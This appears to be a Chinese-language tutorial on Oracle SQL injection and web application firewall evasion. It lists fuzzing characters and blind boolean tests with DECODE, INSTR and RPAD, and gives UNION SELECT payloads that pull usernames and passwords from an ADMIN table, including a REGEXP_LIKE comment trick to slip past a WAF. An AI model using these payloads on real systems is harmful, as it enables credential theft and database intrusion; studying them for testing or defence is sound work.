oracle注入绕狗
字数 1017 2025-08-03 16:45:09
Oracle注入绕过WAF技术详解
0x00 前言
Oracle数据库注入与MySQL注入存在语法差异,本文记录Oracle注入基础知识和绕过WAF(Web应用防火墙)的技术要点。
0x01 基础Fuzz测试
空白符测试
在数字型注入点(如id=1(fuzz点)union select)测试以下空白符:
%09(水平制表符)%0A(换行符)%0B(垂直制表符)%0C(换页符)%0D(回车符)
特殊字符测试
以下字符的URL编码形式添加后不影响SQL语句执行:
%2E(.)%44(D)%46(F)%64(d)%66(f)
关键字变体
使用ALL或DISTINCT修饰符:
union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN
0x02 Oracle注入函数技巧
条件判断函数
- DECODE函数 - 判断用户第一个字符是否为'S':
select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;
select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;
- CASE WHEN与INSTR组合:
select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;
select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;
- LPAD/RPAD函数:
select decode('S', rpad(user, 1,1), 1, 0) value from dual;
select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;
select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;
其他有用函数
- 字符处理:
chr,concat,initcap,lower,lpad/rpad - 正则相关:
regexp_replace,regexp_substr - 字符串操作:
replace,trim/ltrim/rtrim,soundex,substr,translate,upper - NLS函数:
nls_initcap,nls_lower,nls_upper
0x03 WAF绕过技术
注释绕过技术
-
基本思路:
- 使用
/*sql语句*/注释包裹语句可以避免被WAF检测 - 但这样会导致SQL语句无法正常执行
- 使用
-
有效绕过方法:
- 在注释后添加
/*闭合,并使用正则函数REGEXP_LIKE:
and REGEXP_LIKE(null, '/*') union select null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN--*/- 这种方法允许SQL语句正常执行同时绕过WAF检测
- 在注释后添加
-
替代方案:
- 使用其他函数或语法结构实现类似效果
0x04 总结与建议
- Oracle注入与MySQL注入有显著语法差异,需要熟悉Oracle特有函数和语法
- WAF绕过依赖于对SQL语法的深入理解,了解的函数和技巧越多,绕过思路越广
- 实际环境中WAF规则可能不同,需要根据具体情况调整绕过技术
- 建议深入研究Oracle官方文档,掌握更多函数和语法特性
0x05 参考资源
- Oracle注入技术讨论
- Oracle官方文档中的字符串函数和正则表达式函数部分
- WAF规则集和常见过滤模式研究